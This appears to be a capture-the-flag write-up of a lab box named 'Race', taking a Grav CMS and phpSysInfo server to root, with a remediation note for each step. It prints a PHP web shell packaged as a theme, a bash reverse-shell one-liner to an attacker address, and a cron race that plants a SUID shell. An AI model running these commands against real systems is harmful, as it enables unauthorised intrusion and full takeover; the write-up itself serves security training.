Race
Summary
I found an Apache server hosting a Grav CMS site and a phpSysInfo status page. The status page accepted the default login admin:admin and its process list leaked the command line of a backup job, including a Grav 'backup' account password. That account could download a site backup, and the backup contained a password-reset token for a higher-privileged Grav user, 'patrick'. Using patrick's access, I installed a theme that held a PHP web shell.
They routed the install through their own proxy because the server had no internet access. The web shell ran as www-data and could read a world-readable maintenance script with a hard-coded password for the local user 'max'. SSH as max gave the user flag. A root cron job checked a script's MD5 hash and then ran it, in a directory writable by max's group.
I swapped the script for a named pipe to stall the hash check, then substituted a malicious script at the same moment. The cron job ran it as root and created a SUID-root shell, which gave full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD4="<the-password-you-recovered, for max>"Some commands also carry a value in angle brackets (<backup>, <burpport>, <token>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 5
Find open ports.
$ nmap -p- --min-rate=1000 $TARGETFingerprint the open services.
$ nmap -sCV -p22,80 $TARGETAdd the virtual host names.
$ echo "$TARGET race.vl offsite-backup.race.vl" | sudo tee -a /etc/hostsConfirm the Grav CMS front page.
$ curl -ksS -L --max-time 10 --max-redirs 3 http://$TARGET/racers/Content discovery; finds /racers/, /racers/admin and /phpsysinfo.
$ feroxbuster -u http://$TARGET/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txtExact commands 2
Confirm the default Basic-Auth login works.
$ curl -sS -u admin:admin http://$TARGET/phpsysinfo/Extract the leaked credential from the process list (the 'Process Status' view shows the same data).
$ curl -sS -u admin:admin "http://$TARGET/phpsysinfo/xml.php?plugin=complete&json" | grep -o 'curl [^"]* -u [^"]*'FixRemove default phpSysInfo credentials and stop secrets appearing in process command linesHigh
Exact commands 4
Trigger generation of a fresh reset token. Add the admin-nonce field and session cookie from the form if Grav requires them.
$ curl -sS -X POST "http://$TARGET/racers/admin/forgot" --data 'username=patrick'Done in the browser with the leaked backup account.
$ Log in at /racers/admin as backup, then Tools > Backup > Backup Now, and download the zipRead the fresh reset token.
$ unzip -p <backup>.zip user/accounts/patrick.yaml | grep -A3 resetTake over patrick; substitute the token from the backup.
$ Open http://$TARGET/racers/admin/reset/u/patrick/<token> and set a new passwordFixKeep reset tokens out of backups and limit what a backup-only account can obtainHigh
Exact commands 5
Build the malicious theme package (clone grav-theme-photographer first and add these files to it).
$ mkdir -p theme/img && printf 'RewriteEngine Off\n' > theme/img/.htaccess && printf '<?php echo system($_GET[0]);?>' > theme/img/cmd.php && zip -r pwn.zip themeServe pwn.zip from my host.
$ sudo python3 -m http.server 80Burp listens on 0.0.0.0:<burpport>; intercept the response and rewrite Location.
$ In Grav Admin > System > Advanced, set Proxy URL to http://$ATTACKER_IP:<burpport>; then click Install on the theme and rewrite the response Location header to http://$ATTACKER_IP/pwn.zipConfirm code execution as www-data.
$ curl "http://$TARGET/racers/user/themes/aerial/img/cmd.php?0=id"Catch the shell with 'nc -lvnp 1337'.
$ curl -G "http://$TARGET/racers/user/themes/aerial/img/cmd.php" --data-urlencode '0=bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/1337 0>&1"'FixRestrict admin package installation and prevent executable uploads in theme foldersCritical
Exact commands 2
From the www-data shell; shows OFFSITE_PASS.
$ cat /home/max/race-scripts/offsite-backup.sh | grep -i passLog in as max. The flag is returned as <user.txt>.
$ sshpass -p "$PASSWORD4" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=15 max@$TARGET 'id; hostname; cat /home/max/user.txt'
uid=1001(max) gid=1001(max) groups=1001(max),1002(racers)FixRemove hard-coded passwords from scripts and restrict home directoriesHigh
Exact commands 3
Review directory permissions and the runner logic.
$ ls -ld /usr/local/share/race-scripts && cat /usr/local/bin/secure-cron-runner.shWatch the root cron job run each minute (upload pspy64 first).
$ ./pspy64Back up the original file and prepare the payload.
$ cd /usr/local/share/race-scripts && cp offsite-backup.sh offsite-backup.sh.bak && printf '#!/bin/bash\ncp /bin/bash /tmp/hello; chmod 6777 /tmp/hello\n' > shell.sh && chmod +x shell.shFixLock down the directory used by a root cron jobHigh
Exact commands 4
Run just before the next HH:MM:00 so root's md5sum blocks on the pipe.
$ cd /usr/local/share/race-scripts && rm offsite-backup.sh ; mknod offsite-backup.sh pRun when pspy shows md5sum reading the file: move the pipe away, drop in the payload, then feed the original bytes to satisfy the hash.
$ mv offsite-backup.sh s ; cp shell.sh offsite-backup.sh ; chmod +x offsite-backup.sh ; cat offsite-backup.sh.bak >> sUse the SUID shell to confirm root and read the flag (returned as <root.txt>).
$ sshpass -p "$PASSWORD4" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null max@$TARGET '/tmp/hello -p -c "/usr/bin/id; /usr/bin/id -u; hostname; cat /root/root.txt"'
euid=0(root) egid=0(root)Restore the original script after the test.
$ cp /usr/local/share/race-scripts/offsite-backup.sh.bak /usr/local/share/race-scripts/offsite-backup.shFixReplace check-then-run integrity verification with a race-free designCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.52 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.